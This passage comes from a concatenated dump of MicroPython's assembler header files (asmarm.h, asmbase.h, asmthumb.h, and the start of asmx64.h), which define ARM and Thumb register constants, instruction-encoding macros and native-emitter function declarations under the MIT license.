ASM_ARM_REG_LR (ASM_ARM_REG_R14) #define ASM_ARM_REG_PC (ASM_ARM_REG_R15) #define ASM_ARM_CC_EQ (0x0 << 28) #define ASM_ARM_CC_NE (0x1 << 28) #define ASM_ARM_CC_CS (0x2 << 28) #define ASM_ARM_CC_CC (0x3 << 28) #define ASM_ARM_CC_MI (0x4 << 28) #define ASM_ARM_CC_PL (0x5 << 28) #define ASM_ARM_CC_VS (0x6 << 28) #define ASM_ARM_CC_VC (0x7 << 28) #define ASM_ARM_CC_HI (0x8 << 28) #define ASM_ARM_CC_LS (0x9 << 28) #define ASM_ARM_CC_GE (0xa << 28) #define ASM_ARM_CC_LT (0xb << 28) #define ASM_ARM_CC_GT (0xc << 28) #define ASM_ARM_CC_LE (0xd << 28) #define ASM_ARM_CC_AL (0xe << 28) typedef struct _asm_arm_t { mp_asm_base_t base; uint push_reglist; uint stack_adjust; } asm_arm_t; void asm_arm_end_pass(asm_arm_t *as); void asm_arm_entry(asm_arm_t *as, int num_locals); void asm_arm_exit(asm_arm_t *as); void asm_arm_bkpt(asm_arm_t *as); // mov void asm_arm_mov_reg_reg(asm_arm_t *as, uint reg_dest, uint reg_src); void asm_arm_mov_reg_i32(asm_arm_t *as, uint rd, int imm); void asm_arm_mov_local_reg(asm_arm_t *as, int local_num, uint rd); void asm_arm_mov_reg_local(asm_arm_t *as, uint rd, int local_num); void asm_arm_setcc_reg(asm_arm_t *as, uint rd, uint cond); // compare void asm_arm_cmp_reg_i8(asm_arm_t *as, uint rd, int imm); void asm_arm_cmp_reg_reg(asm_arm_t *as, uint rd, uint rn); // arithmetic void asm_arm_add_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm); void asm_arm_sub_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm); void asm_arm_mul_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm); void asm_arm_and_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm); void asm_arm_eor_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm); void asm_arm_orr_reg_reg_reg(asm_arm_t *as, uint rd, uint rn, uint rm); void asm_arm_mov_reg_local_addr(asm_arm_t *as, uint rd, int local_num); void asm_arm_lsl_reg_reg(asm_arm_t *as, uint rd, uint rs); void asm_arm_asr_reg_reg(asm_arm_t *as, uint rd, uint rs); // memory void asm_arm_ldr_reg_reg(asm_arm_t *as, uint rd, uint rn, uint byte_offset); void asm_arm_ldrh_reg_reg(asm_arm_t *as, uint rd, uint rn); void asm_arm_ldrb_reg_reg(asm_arm_t *as, uint rd, uint rn); void asm_arm_str_reg_reg(asm_arm_t *as, uint rd, uint rm, uint byte_offset); void asm_arm_strh_reg_reg(asm_arm_t *as, uint rd, uint rm); void asm_arm_strb_reg_reg(asm_arm_t *as, uint rd, uint rm); // store to array void asm_arm_str_reg_reg_reg(asm_arm_t *as, uint rd, uint rm, uint rn); void asm_arm_strh_reg_reg_reg(asm_arm_t *as, uint rd, uint rm, uint rn); void asm_arm_strb_reg_reg_reg(asm_arm_t *as, uint rd, uint rm, uint rn); // stack void asm_arm_push(asm_arm_t *as, uint reglist); void asm_arm_pop(asm_arm_t *as, uint reglist); // control flow void asm_arm_bcc_label(asm_arm_t *as, int cond, uint label); void asm_arm_b_label(asm_arm_t *as, uint label); void asm_arm_bl_ind(asm_arm_t *as, void *fun_ptr, uint fun_id, uint reg_temp); #if GENERIC_ASM_API // The following macros provide a (mostly) arch-independent API to // generate native code, and are used by the native emitter. #define ASM_WORD_SIZE (4) #define REG_RET ASM_ARM_REG_R0 #define REG_ARG_1 ASM_ARM_REG_R0 #define REG_ARG_2 ASM_ARM_REG_R1 #define REG_ARG_3 ASM_ARM_REG_R2 #define REG_ARG_4 ASM_ARM_REG_R3 #define REG_TEMP0 ASM_ARM_REG_R0 #define REG_TEMP1 ASM_ARM_REG_R1 #define REG_TEMP2 ASM_ARM_REG_R2 #define REG_LOCAL_1 ASM_ARM_REG_R4 #define REG_LOCAL_2 ASM_ARM_REG_R5 #define REG_LOCAL_3 ASM_ARM_REG_R6 #define REG_LOCAL_NUM (3) #define ASM_T asm_arm_t #define ASM_END_PASS asm_arm_end_pass #define ASM_ENTRY asm_arm_entry #define ASM_EXIT asm_arm_exit #define ASM_JUMP asm_arm_b_label #define ASM_JUMP_IF_REG_ZERO(as, reg, label) \ do { \ asm_arm_cmp_reg_i8(as, reg, 0); \ asm_arm_bcc_label(as, ASM_ARM_CC_EQ, label); \ } while (0) #define ASM_JUMP_IF_REG_NONZERO(as, reg, label) \ do { \ asm_arm_cmp_reg_i8(as, reg, 0); \ asm_arm_bcc_label(as, ASM_ARM_CC_NE, label); \ } while (0) #define ASM_JUMP_IF_REG_EQ(as, reg1, reg2, label) \ do { \ asm_arm_cmp_reg_reg(as, reg1, reg2); \ asm_arm_bcc_label(as, ASM_ARM_CC_EQ, label); \ } while (0) #define ASM_CALL_IND(as, ptr, idx) asm_arm_bl_ind(as, ptr, idx, ASM_ARM_REG_R3) #define ASM_MOV_REG_TO_LOCAL(as, reg, local_num) asm_arm_mov_local_reg(as, (local_num), (reg)) #define ASM_MOV_IMM_TO_REG(as, imm, reg) asm_arm_mov_reg_i32(as, (reg), (imm)) #define ASM_MOV_ALIGNED_IMM_TO_REG(as, imm, reg) asm_arm_mov_reg_i32(as, (reg), (imm)) #define ASM_MOV_IMM_TO_LOCAL_USING(as, imm, local_num, reg_temp) \ do { \ asm_arm_mov_reg_i32(as, (reg_temp), (imm)); \ asm_arm_mov_local_reg(as, (local_num), (reg_temp)); \ } while (false) #define ASM_MOV_LOCAL_TO_REG(as, local_num, reg) asm_arm_mov_reg_local(as, (reg), (local_num)) #define ASM_MOV_REG_REG(as, reg_dest, reg_src) asm_arm_mov_reg_reg((as), (reg_dest), (reg_src)) #define ASM_MOV_LOCAL_ADDR_TO_REG(as, local_num, reg) asm_arm_mov_reg_local_addr(as, (reg), (local_num)) #define ASM_LSL_REG_REG(as, reg_dest, reg_shift) asm_arm_lsl_reg_reg((as), (reg_dest), (reg_shift)) #define ASM_ASR_REG_REG(as, reg_dest, reg_shift) asm_arm_asr_reg_reg((as), (reg_dest), (reg_shift)) #define ASM_OR_REG_REG(as, reg_dest, reg_src) asm_arm_orr_reg_reg_reg((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_XOR_REG_REG(as, reg_dest, reg_src) asm_arm_eor_reg_reg_reg((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_AND_REG_REG(as, reg_dest, reg_src) asm_arm_and_reg_reg_reg((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_ADD_REG_REG(as, reg_dest, reg_src) asm_arm_add_reg_reg_reg((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_SUB_REG_REG(as, reg_dest, reg_src) asm_arm_sub_reg_reg_reg((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_MUL_REG_REG(as, reg_dest, reg_src) asm_arm_mul_reg_reg_reg((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_LOAD_REG_REG(as, reg_dest, reg_base) asm_arm_ldr_reg_reg((as), (reg_dest), (reg_base), 0) #define ASM_LOAD_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_arm_ldr_reg_reg((as), (reg_dest), (reg_base), 4 * (word_offset)) #define ASM_LOAD8_REG_REG(as, reg_dest, reg_base) asm_arm_ldrb_reg_reg((as), (reg_dest), (reg_base)) #define ASM_LOAD16_REG_REG(as, reg_dest, reg_base) asm_arm_ldrh_reg_reg((as), (reg_dest), (reg_base)) #define ASM_LOAD32_REG_REG(as, reg_dest, reg_base) asm_arm_ldr_reg_reg((as), (reg_dest), (reg_base), 0) #define ASM_STORE_REG_REG(as, reg_value, reg_base) asm_arm_str_reg_reg((as), (reg_value), (reg_base), 0) #define ASM_STORE_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_arm_str_reg_reg((as), (reg_dest), (reg_base), 4 * (word_offset)) #define ASM_STORE8_REG_REG(as, reg_value, reg_base) asm_arm_strb_reg_reg((as), (reg_value), (reg_base)) #define ASM_STORE16_REG_REG(as, reg_value, reg_base) asm_arm_strh_reg_reg((as), (reg_value), (reg_base)) #define ASM_STORE32_REG_REG(as, reg_value, reg_base) asm_arm_str_reg_reg((as), (reg_value), (reg_base), 0) #endif // GENERIC_ASM_API #endif // MICROPY_INCLUDED_PY_ASMARM_H ================================================ FILE: micropython/inc/py/asmbase.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2016 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_ASMBASE_H #define MICROPY_INCLUDED_PY_ASMBASE_H #include #include #define MP_ASM_PASS_COMPUTE (1) #define MP_ASM_PASS_EMIT (2) typedef struct _mp_asm_base_t { int pass; size_t code_offset; size_t code_size; uint8_t *code_base; size_t max_num_labels; size_t *label_offsets; } mp_asm_base_t; void mp_asm_base_init(mp_asm_base_t *as, size_t max_num_labels); void mp_asm_base_deinit(mp_asm_base_t *as, bool free_code); void mp_asm_base_start_pass(mp_asm_base_t *as, int pass); uint8_t *mp_asm_base_get_cur_to_write_bytes(mp_asm_base_t *as, size_t num_bytes_to_write); void mp_asm_base_label_assign(mp_asm_base_t *as, size_t label); void mp_asm_base_align(mp_asm_base_t* as, unsigned int align); void mp_asm_base_data(mp_asm_base_t* as, unsigned int bytesize, uintptr_t val); static inline size_t mp_asm_base_get_code_pos(mp_asm_base_t *as) { return as->code_offset; } static inline size_t mp_asm_base_get_code_size(mp_asm_base_t *as) { return as->code_size; } static inline void *mp_asm_base_get_code(mp_asm_base_t *as) { #if defined(MP_PLAT_COMMIT_EXEC) return MP_PLAT_COMMIT_EXEC(as->code_base, as->code_size); #else return as->code_base; #endif } #endif // MICROPY_INCLUDED_PY_ASMBASE_H ================================================ FILE: micropython/inc/py/asmthumb.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_ASMTHUMB_H #define MICROPY_INCLUDED_PY_ASMTHUMB_H #include "py/misc.h" #include "py/asmbase.h" #define ASM_THUMB_REG_R0 (0) #define ASM_THUMB_REG_R1 (1) #define ASM_THUMB_REG_R2 (2) #define ASM_THUMB_REG_R3 (3) #define ASM_THUMB_REG_R4 (4) #define ASM_THUMB_REG_R5 (5) #define ASM_THUMB_REG_R6 (6) #define ASM_THUMB_REG_R7 (7) #define ASM_THUMB_REG_R8 (8) #define ASM_THUMB_REG_R9 (9) #define ASM_THUMB_REG_R10 (10) #define ASM_THUMB_REG_R11 (11) #define ASM_THUMB_REG_R12 (12) #define ASM_THUMB_REG_R13 (13) #define ASM_THUMB_REG_R14 (14) #define ASM_THUMB_REG_R15 (15) #define ASM_THUMB_REG_LR (REG_R14) #define ASM_THUMB_CC_EQ (0x0) #define ASM_THUMB_CC_NE (0x1) #define ASM_THUMB_CC_CS (0x2) #define ASM_THUMB_CC_CC (0x3) #define ASM_THUMB_CC_MI (0x4) #define ASM_THUMB_CC_PL (0x5) #define ASM_THUMB_CC_VS (0x6) #define ASM_THUMB_CC_VC (0x7) #define ASM_THUMB_CC_HI (0x8) #define ASM_THUMB_CC_LS (0x9) #define ASM_THUMB_CC_GE (0xa) #define ASM_THUMB_CC_LT (0xb) #define ASM_THUMB_CC_GT (0xc) #define ASM_THUMB_CC_LE (0xd) typedef struct _asm_thumb_t { mp_asm_base_t base; uint32_t push_reglist; uint32_t stack_adjust; } asm_thumb_t; void asm_thumb_end_pass(asm_thumb_t *as); void asm_thumb_entry(asm_thumb_t *as, int num_locals); void asm_thumb_exit(asm_thumb_t *as); // argument order follows ARM, in general dest is first // note there is a difference between movw and mov.w, and many others! #define ASM_THUMB_OP_IT (0xbf00) #define ASM_THUMB_OP_ITE_EQ (0xbf0c) #define ASM_THUMB_OP_ITE_CS (0xbf2c) #define ASM_THUMB_OP_ITE_MI (0xbf4c) #define ASM_THUMB_OP_ITE_VS (0xbf6c) #define ASM_THUMB_OP_ITE_HI (0xbf8c) #define ASM_THUMB_OP_ITE_GE (0xbfac) #define ASM_THUMB_OP_ITE_GT (0xbfcc) #define ASM_THUMB_OP_NOP (0xbf00) #define ASM_THUMB_OP_WFI (0xbf30) #define ASM_THUMB_OP_CPSID_I (0xb672) // cpsid i, disable irq #define ASM_THUMB_OP_CPSIE_I (0xb662) // cpsie i, enable irq void asm_thumb_op16(asm_thumb_t *as, uint op); void asm_thumb_op32(asm_thumb_t *as, uint op1, uint op2); static inline void asm_thumb_it_cc(asm_thumb_t *as, uint cc, uint mask) { asm_thumb_op16(as, ASM_THUMB_OP_IT | (cc << 4) | mask); } // FORMAT 1: move shifted register #define ASM_THUMB_FORMAT_1_LSL (0x0000) #define ASM_THUMB_FORMAT_1_LSR (0x0800) #define ASM_THUMB_FORMAT_1_ASR (0x1000) #define ASM_THUMB_FORMAT_1_ENCODE(op, rlo_dest, rlo_src, offset) \ ((op) | ((offset) << 6) | ((rlo_src) << 3) | (rlo_dest)) static inline void asm_thumb_format_1(asm_thumb_t *as, uint op, uint rlo_dest, uint rlo_src, uint offset) { assert(rlo_dest < ASM_THUMB_REG_R8); assert(rlo_src < ASM_THUMB_REG_R8); asm_thumb_op16(as, ASM_THUMB_FORMAT_1_ENCODE(op, rlo_dest, rlo_src, offset)); } // FORMAT 2: add/subtract #define ASM_THUMB_FORMAT_2_ADD (0x1800) #define ASM_THUMB_FORMAT_2_SUB (0x1a00) #define ASM_THUMB_FORMAT_2_REG_OPERAND (0x0000) #define ASM_THUMB_FORMAT_2_IMM_OPERAND (0x0400) #define ASM_THUMB_FORMAT_2_ENCODE(op, rlo_dest, rlo_src, src_b) \ ((op) | ((src_b) << 6) | ((rlo_src) << 3) | (rlo_dest)) static inline void asm_thumb_format_2(asm_thumb_t *as, uint op, uint rlo_dest, uint rlo_src, int src_b) { assert(rlo_dest < ASM_THUMB_REG_R8); assert(rlo_src < ASM_THUMB_REG_R8); asm_thumb_op16(as, ASM_THUMB_FORMAT_2_ENCODE(op, rlo_dest, rlo_src, src_b)); } static inline void asm_thumb_add_rlo_rlo_rlo(asm_thumb_t *as, uint rlo_dest, uint rlo_src_a, uint rlo_src_b) { asm_thumb_format_2(as, ASM_THUMB_FORMAT_2_ADD | ASM_THUMB_FORMAT_2_REG_OPERAND, rlo_dest, rlo_src_a, rlo_src_b); } static inline void asm_thumb_add_rlo_rlo_i3(asm_thumb_t *as, uint rlo_dest, uint rlo_src_a, int i3_src) { asm_thumb_format_2(as, ASM_THUMB_FORMAT_2_ADD | ASM_THUMB_FORMAT_2_IMM_OPERAND, rlo_dest, rlo_src_a, i3_src); } static inline void asm_thumb_sub_rlo_rlo_rlo(asm_thumb_t *as, uint rlo_dest, uint rlo_src_a, uint rlo_src_b) { asm_thumb_format_2(as, ASM_THUMB_FORMAT_2_SUB | ASM_THUMB_FORMAT_2_REG_OPERAND, rlo_dest, rlo_src_a, rlo_src_b); } static inline void asm_thumb_sub_rlo_rlo_i3(asm_thumb_t *as, uint rlo_dest, uint rlo_src_a, int i3_src) { asm_thumb_format_2(as, ASM_THUMB_FORMAT_2_SUB | ASM_THUMB_FORMAT_2_IMM_OPERAND, rlo_dest, rlo_src_a, i3_src); } // FORMAT 3: move/compare/add/subtract immediate // These instructions all do zero extension of the i8 value #define ASM_THUMB_FORMAT_3_MOV (0x2000) #define ASM_THUMB_FORMAT_3_CMP (0x2800) #define ASM_THUMB_FORMAT_3_ADD (0x3000) #define ASM_THUMB_FORMAT_3_SUB (0x3800) #define ASM_THUMB_FORMAT_3_ENCODE(op, rlo, i8) ((op) | ((rlo) << 8) | (i8)) static inline void asm_thumb_format_3(asm_thumb_t *as, uint op, uint rlo, int i8) { assert(rlo < ASM_THUMB_REG_R8); asm_thumb_op16(as, ASM_THUMB_FORMAT_3_ENCODE(op, rlo, i8)); } static inline void asm_thumb_mov_rlo_i8(asm_thumb_t *as, uint rlo, int i8) { asm_thumb_format_3(as, ASM_THUMB_FORMAT_3_MOV, rlo, i8); } static inline void asm_thumb_cmp_rlo_i8(asm_thumb_t *as, uint rlo, int i8) { asm_thumb_format_3(as, ASM_THUMB_FORMAT_3_CMP, rlo, i8); } static inline void asm_thumb_add_rlo_i8(asm_thumb_t *as, uint rlo, int i8) { asm_thumb_format_3(as, ASM_THUMB_FORMAT_3_ADD, rlo, i8); } static inline void asm_thumb_sub_rlo_i8(asm_thumb_t *as, uint rlo, int i8) { asm_thumb_format_3(as, ASM_THUMB_FORMAT_3_SUB, rlo, i8); } // FORMAT 4: ALU operations #define ASM_THUMB_FORMAT_4_AND (0x4000) #define ASM_THUMB_FORMAT_4_EOR (0x4040) #define ASM_THUMB_FORMAT_4_LSL (0x4080) #define ASM_THUMB_FORMAT_4_LSR (0x40c0) #define ASM_THUMB_FORMAT_4_ASR (0x4100) #define ASM_THUMB_FORMAT_4_ADC (0x4140) #define ASM_THUMB_FORMAT_4_SBC (0x4180) #define ASM_THUMB_FORMAT_4_ROR (0x41c0) #define ASM_THUMB_FORMAT_4_TST (0x4200) #define ASM_THUMB_FORMAT_4_NEG (0x4240) #define ASM_THUMB_FORMAT_4_CMP (0x4280) #define ASM_THUMB_FORMAT_4_CMN (0x42c0) #define ASM_THUMB_FORMAT_4_ORR (0x4300) #define ASM_THUMB_FORMAT_4_MUL (0x4340) #define ASM_THUMB_FORMAT_4_BIC (0x4380) #define ASM_THUMB_FORMAT_4_MVN (0x43c0) void asm_thumb_format_4(asm_thumb_t *as, uint op, uint rlo_dest, uint rlo_src); static inline void asm_thumb_cmp_rlo_rlo(asm_thumb_t *as, uint rlo_dest, uint rlo_src) { asm_thumb_format_4(as, ASM_THUMB_FORMAT_4_CMP, rlo_dest, rlo_src); } // FORMAT 9: load/store with immediate offset // For word transfers the offset must be aligned, and >>2 // FORMAT 10: load/store halfword // The offset must be aligned, and >>1 // The load is zero extended into the register #define ASM_THUMB_FORMAT_9_STR (0x6000) #define ASM_THUMB_FORMAT_9_LDR (0x6800) #define ASM_THUMB_FORMAT_9_WORD_TRANSFER (0x0000) #define ASM_THUMB_FORMAT_9_BYTE_TRANSFER (0x1000) #define ASM_THUMB_FORMAT_10_STRH (0x8000) #define ASM_THUMB_FORMAT_10_LDRH (0x8800) #define ASM_THUMB_FORMAT_9_10_ENCODE(op, rlo_dest, rlo_base, offset) \ ((op) | (((offset) << 6) & 0x07c0) | ((rlo_base) << 3) | (rlo_dest)) static inline void asm_thumb_format_9_10(asm_thumb_t *as, uint op, uint rlo_dest, uint rlo_base, uint offset) { asm_thumb_op16(as, ASM_THUMB_FORMAT_9_10_ENCODE(op, rlo_dest, rlo_base, offset)); } static inline void asm_thumb_str_rlo_rlo_i5(asm_thumb_t *as, uint rlo_src, uint rlo_base, uint word_offset) { asm_thumb_format_9_10(as, ASM_THUMB_FORMAT_9_STR | ASM_THUMB_FORMAT_9_WORD_TRANSFER, rlo_src, rlo_base, word_offset); } static inline void asm_thumb_strb_rlo_rlo_i5(asm_thumb_t *as, uint rlo_src, uint rlo_base, uint byte_offset) { asm_thumb_format_9_10(as, ASM_THUMB_FORMAT_9_STR | ASM_THUMB_FORMAT_9_BYTE_TRANSFER, rlo_src, rlo_base, byte_offset); } static inline void asm_thumb_strh_rlo_rlo_i5(asm_thumb_t *as, uint rlo_src, uint rlo_base, uint byte_offset) { asm_thumb_format_9_10(as, ASM_THUMB_FORMAT_10_STRH, rlo_src, rlo_base, byte_offset); } static inline void asm_thumb_ldr_rlo_rlo_i5(asm_thumb_t *as, uint rlo_dest, uint rlo_base, uint word_offset) { asm_thumb_format_9_10(as, ASM_THUMB_FORMAT_9_LDR | ASM_THUMB_FORMAT_9_WORD_TRANSFER, rlo_dest, rlo_base, word_offset); } static inline void asm_thumb_ldrb_rlo_rlo_i5(asm_thumb_t *as, uint rlo_dest, uint rlo_base, uint byte_offset) { asm_thumb_format_9_10(as, ASM_THUMB_FORMAT_9_LDR | ASM_THUMB_FORMAT_9_BYTE_TRANSFER , rlo_dest, rlo_base, byte_offset); } static inline void asm_thumb_ldrh_rlo_rlo_i5(asm_thumb_t *as, uint rlo_dest, uint rlo_base, uint byte_offset) { asm_thumb_format_9_10(as, ASM_THUMB_FORMAT_10_LDRH, rlo_dest, rlo_base, byte_offset); } // TODO convert these to above format style #define ASM_THUMB_OP_MOVW (0xf240) #define ASM_THUMB_OP_MOVT (0xf2c0) void asm_thumb_mov_reg_reg(asm_thumb_t *as, uint reg_dest, uint reg_src); void asm_thumb_mov_reg_i16(asm_thumb_t *as, uint mov_op, uint reg_dest, int i16_src); // these return true if the destination is in range, false otherwise bool asm_thumb_b_n_label(asm_thumb_t *as, uint label); bool asm_thumb_bcc_nw_label(asm_thumb_t *as, int cond, uint label, bool wide); bool asm_thumb_bl_label(asm_thumb_t *as, uint label); void asm_thumb_mov_reg_i32(asm_thumb_t *as, uint reg_dest, mp_uint_t i32_src); // convenience void asm_thumb_mov_reg_i32_optimised(asm_thumb_t *as, uint reg_dest, int i32_src); // convenience void asm_thumb_mov_reg_i32_aligned(asm_thumb_t *as, uint reg_dest, int i32); // convenience void asm_thumb_mov_local_reg(asm_thumb_t *as, int local_num_dest, uint rlo_src); // convenience void asm_thumb_mov_reg_local(asm_thumb_t *as, uint rlo_dest, int local_num); // convenience void asm_thumb_mov_reg_local_addr(asm_thumb_t *as, uint rlo_dest, int local_num); // convenience void asm_thumb_b_label(asm_thumb_t *as, uint label); // convenience: picks narrow or wide branch void asm_thumb_bcc_label(asm_thumb_t *as, int cc, uint label); // convenience: picks narrow or wide branch void asm_thumb_bl_ind(asm_thumb_t *as, void *fun_ptr, uint fun_id, uint reg_temp); // convenience #if GENERIC_ASM_API // The following macros provide a (mostly) arch-independent API to // generate native code, and are used by the native emitter. #define ASM_WORD_SIZE (4) #define REG_RET ASM_THUMB_REG_R0 #define REG_ARG_1 ASM_THUMB_REG_R0 #define REG_ARG_2 ASM_THUMB_REG_R1 #define REG_ARG_3 ASM_THUMB_REG_R2 #define REG_ARG_4 ASM_THUMB_REG_R3 // rest of args go on stack #define REG_TEMP0 ASM_THUMB_REG_R0 #define REG_TEMP1 ASM_THUMB_REG_R1 #define REG_TEMP2 ASM_THUMB_REG_R2 #define REG_LOCAL_1 ASM_THUMB_REG_R4 #define REG_LOCAL_2 ASM_THUMB_REG_R5 #define REG_LOCAL_3 ASM_THUMB_REG_R6 #define REG_LOCAL_NUM (3) #define ASM_T asm_thumb_t #define ASM_END_PASS asm_thumb_end_pass #define ASM_ENTRY asm_thumb_entry #define ASM_EXIT asm_thumb_exit #define ASM_JUMP asm_thumb_b_label #define ASM_JUMP_IF_REG_ZERO(as, reg, label) \ do { \ asm_thumb_cmp_rlo_i8(as, reg, 0); \ asm_thumb_bcc_label(as, ASM_THUMB_CC_EQ, label); \ } while (0) #define ASM_JUMP_IF_REG_NONZERO(as, reg, label) \ do { \ asm_thumb_cmp_rlo_i8(as, reg, 0); \ asm_thumb_bcc_label(as, ASM_THUMB_CC_NE, label); \ } while (0) #define ASM_JUMP_IF_REG_EQ(as, reg1, reg2, label) \ do { \ asm_thumb_cmp_rlo_rlo(as, reg1, reg2); \ asm_thumb_bcc_label(as, ASM_THUMB_CC_EQ, label); \ } while (0) #define ASM_CALL_IND(as, ptr, idx) asm_thumb_bl_ind(as, ptr, idx, ASM_THUMB_REG_R3) #define ASM_MOV_REG_TO_LOCAL(as, reg, local_num) asm_thumb_mov_local_reg(as, (local_num), (reg)) #define ASM_MOV_IMM_TO_REG(as, imm, reg) asm_thumb_mov_reg_i32_optimised(as, (reg), (imm)) #define ASM_MOV_ALIGNED_IMM_TO_REG(as, imm, reg) asm_thumb_mov_reg_i32_aligned(as, (reg), (imm)) #define ASM_MOV_IMM_TO_LOCAL_USING(as, imm, local_num, reg_temp) \ do { \ asm_thumb_mov_reg_i32_optimised(as, (reg_temp), (imm)); \ asm_thumb_mov_local_reg(as, (local_num), (reg_temp)); \ } while (false) #define ASM_MOV_LOCAL_TO_REG(as, local_num, reg) asm_thumb_mov_reg_local(as, (reg), (local_num)) #define ASM_MOV_REG_REG(as, reg_dest, reg_src) asm_thumb_mov_reg_reg((as), (reg_dest), (reg_src)) #define ASM_MOV_LOCAL_ADDR_TO_REG(as, local_num, reg) asm_thumb_mov_reg_local_addr(as, (reg), (local_num)) #define ASM_LSL_REG_REG(as, reg_dest, reg_shift) asm_thumb_format_4((as), ASM_THUMB_FORMAT_4_LSL, (reg_dest), (reg_shift)) #define ASM_ASR_REG_REG(as, reg_dest, reg_shift) asm_thumb_format_4((as), ASM_THUMB_FORMAT_4_ASR, (reg_dest), (reg_shift)) #define ASM_OR_REG_REG(as, reg_dest, reg_src) asm_thumb_format_4((as), ASM_THUMB_FORMAT_4_ORR, (reg_dest), (reg_src)) #define ASM_XOR_REG_REG(as, reg_dest, reg_src) asm_thumb_format_4((as), ASM_THUMB_FORMAT_4_EOR, (reg_dest), (reg_src)) #define ASM_AND_REG_REG(as, reg_dest, reg_src) asm_thumb_format_4((as), ASM_THUMB_FORMAT_4_AND, (reg_dest), (reg_src)) #define ASM_ADD_REG_REG(as, reg_dest, reg_src) asm_thumb_add_rlo_rlo_rlo((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_SUB_REG_REG(as, reg_dest, reg_src) asm_thumb_sub_rlo_rlo_rlo((as), (reg_dest), (reg_dest), (reg_src)) #define ASM_MUL_REG_REG(as, reg_dest, reg_src) asm_thumb_format_4((as), ASM_THUMB_FORMAT_4_MUL, (reg_dest), (reg_src)) #define ASM_LOAD_REG_REG(as, reg_dest, reg_base) asm_thumb_ldr_rlo_rlo_i5((as), (reg_dest), (reg_base), 0) #define ASM_LOAD_REG_REG_OFFSET(as, reg_dest, reg_base, word_offset) asm_thumb_ldr_rlo_rlo_i5((as), (reg_dest), (reg_base), (word_offset)) #define ASM_LOAD8_REG_REG(as, reg_dest, reg_base) asm_thumb_ldrb_rlo_rlo_i5((as), (reg_dest), (reg_base), 0) #define ASM_LOAD16_REG_REG(as, reg_dest, reg_base) asm_thumb_ldrh_rlo_rlo_i5((as), (reg_dest), (reg_base), 0) #define ASM_LOAD32_REG_REG(as, reg_dest, reg_base) asm_thumb_ldr_rlo_rlo_i5((as), (reg_dest), (reg_base), 0) #define ASM_STORE_REG_REG(as, reg_src, reg_base) asm_thumb_str_rlo_rlo_i5((as), (reg_src), (reg_base), 0) #define ASM_STORE_REG_REG_OFFSET(as, reg_src, reg_base, word_offset) asm_thumb_str_rlo_rlo_i5((as), (reg_src), (reg_base), (word_offset)) #define ASM_STORE8_REG_REG(as, reg_src, reg_base) asm_thumb_strb_rlo_rlo_i5((as), (reg_src), (reg_base), 0) #define ASM_STORE16_REG_REG(as, reg_src, reg_base) asm_thumb_strh_rlo_rlo_i5((as), (reg_src), (reg_base), 0) #define ASM_STORE32_REG_REG(as, reg_src, reg_base) asm_thumb_str_rlo_rlo_i5((as), (reg_src), (reg_base), 0) #endif // GENERIC_ASM_API #endif // MICROPY_INCLUDED_PY_ASMTHUMB_H ================================================ FILE: micropython/inc/py/asmx64.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT 